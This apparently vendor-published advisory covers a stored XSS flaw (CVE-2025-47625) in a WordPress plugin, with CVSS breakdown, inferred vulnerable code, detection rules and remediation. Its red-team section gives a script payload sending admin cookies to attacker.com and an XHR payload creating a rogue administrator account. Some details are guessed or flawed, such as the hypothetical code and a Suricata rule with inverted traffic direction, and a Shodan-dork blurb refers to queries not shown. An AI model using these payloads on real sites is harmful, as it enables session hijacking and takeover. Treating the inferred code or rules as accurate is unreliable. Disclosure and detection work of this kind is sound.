CVE-2025-47625
Executive Summary
CVE-2025-47625 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Apasionados DoFollow Case by Case WordPress plugin, affecting versions up to and including 3.5.1. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into the plugin’s settings or post meta fields. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress installation.
This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 5.9 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The attack vector is network-based, requires low complexity, low privileges, and user interaction (the victim must view the compromised page). The scope is changed, meaning the injected script can affect resources beyond the vulnerable component.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress supply chain. Users who install this plugin from the WordPress plugin directory are at risk if they do not update to a patched version (once available). The lack of a known patch at the time of analysis means that all installations of version 3.5.1 and below are vulnerable.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
- Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher to the WordPress site.
- User Interaction (UI): Required (R) – The victim must visit a page containing the injected script.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable plugin (e.g., the entire WordPress admin area).
- Confidentiality (C): Low (L) – Limited information disclosure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 5.9, the actual risk is elevated in a WordPress ecosystem because a single stored XSS can lead to full site compromise if an administrator’s session is hijacked.
Deep Dive & Mechanics
The vulnerability resides in the DoFollow Case by Case plugin, which allows users to manage dofollow/nofollow attributes on a per-case basis. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the WordPress admin panel or frontend.
Root Cause: The plugin uses functions like echo or _e() without first passing the data through WordPress’s built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker with contributor-level access logs into the WordPress admin.
- The attacker navigates to the plugin’s settings page (e.g.,
/wp-admin/options-general.php?page=dofollow-case-by-case). - The attacker inserts a malicious payload into a text field, such as the “Case Name” or “URL” field. Example payload:
<script>alert('XSS')</script>. - The plugin stores this payload in the
wp_optionstable or post meta without sanitization. - When an administrator or another user views the plugin’s settings page or a post that uses the plugin’s functionality, the payload executes in their browser.
Why Stored XSS is Dangerous: Unlike reflected XSS, stored XSS persists in the database. Every time a user visits the affected page, the script executes. This can lead to mass exploitation if the payload is designed to steal cookies, create admin accounts, or redirect users to malicious sites.
Vulnerable vs. Patched Code
Since no official patch is available, we can only infer the vulnerable code pattern. The plugin likely contains code similar to:
Vulnerable Code (PHP):
// In a settings page or meta box
$case_name = get_option('dofollow_case_name');
echo '<input type="text" name="dofollow_case_name" value="' . $case_name . '" />';
Patched Code (Hypothetical):
$case_name = get_option('dofollow_case_name');
echo '<input type="text" name="dofollow_case_name" value="' . esc_attr($case_name) . '" />';
The patched version uses esc_attr() to escape the output, preventing XSS. Additionally, input should be sanitized using sanitize_text_field() or wp_kses_post() before saving.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress installation with the DoFollow Case by Case plugin (version <= 3.5.1) activated.
- A user account with contributor-level privileges or higher.
Steps:
- Log in as a contributor.
- Navigate to the plugin settings page (e.g.,
/wp-admin/options-general.php?page=dofollow-case-by-case). - In the “Case Name” field, enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- Wait for an administrator to visit the same settings page. The script will execute, sending the admin’s session cookie to the attacker’s server.
Alternative Payload (Admin Account Creation):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=createuser&_wpnonce='+wpnonce+'&user_login=attacker&email=attacker@example.com&pass1=password&pass2=password&role=administrator');
</script>
Note: This requires knowledge of the WordPress nonce, which can be extracted from the page source.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to the
wp_optionstable, especially entries related to the plugin (e.g.,dofollow_case_name). - Look for HTTP requests to
/wp-admin/options-general.php?page=dofollow-case-by-casewith suspicious POST data containing<script>tags. - Use a Web Application Firewall (WAF) to block common XSS payloads.
Hardening:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit plugin code for security vulnerabilities.
Indicators of Compromise (IOCs)
- File System:
- Modified plugin files in
/wp-content/plugins/dofollow-case-by-case/(though the vulnerability is in the database, not files).
- Modified plugin files in
- Database:
- Entries in
wp_optionstable withoption_namelikedofollow_case_namecontaining<script>tags. - Entries in
wp_postmetawithmeta_keyrelated to the plugin containing malicious JavaScript.
- Entries in
- Network:
- Outbound HTTP requests to attacker-controlled domains from the WordPress admin.
- Unusual POST requests to
/wp-admin/options-general.php?page=dofollow-case-by-casewith encoded payloads.
- Logs:
- WordPress debug log entries showing PHP warnings or errors related to the plugin.
- Web server access logs showing requests to the plugin settings page with suspicious query strings.
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_Dofollow_Case_By_Case {
meta:
description = "Detects stored XSS payloads in the DoFollow Case by Case plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47625"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_option = "dofollow_case_name"
condition:
$plugin_option and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in DoFollow Case by Case Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in the DoFollow Case by Case WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/wp-admin/options-general.php*'
cs-uri-query|contains: 'page=dofollow-case-by-case'
sc-status: 200
keywords:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in plugin settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47625 Stored XSS in DoFollow Case by Case"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=dofollow-case-by-case"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Audit the database for any stored XSS payloads in
wp_optionsandwp_postmetatables. Remove any suspicious entries. - Change all WordPress admin passwords and invalidate existing sessions.
Long-Term Fix:
- The vendor (Apasionados) must release a patched version that properly sanitizes and escapes all user inputs. The fix should use
esc_html(),esc_attr(), andsanitize_text_field()as appropriate. - Users should update to the latest version once available.
Workarounds:
- Implement a Web Application Firewall (WAF) rule to block POST requests containing
<script>tags to the plugin’s settings page. - Use a WordPress security plugin (e.g., Wordfence) to add an additional layer of input validation.
Valters IT – Securing your digital assets with precision.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.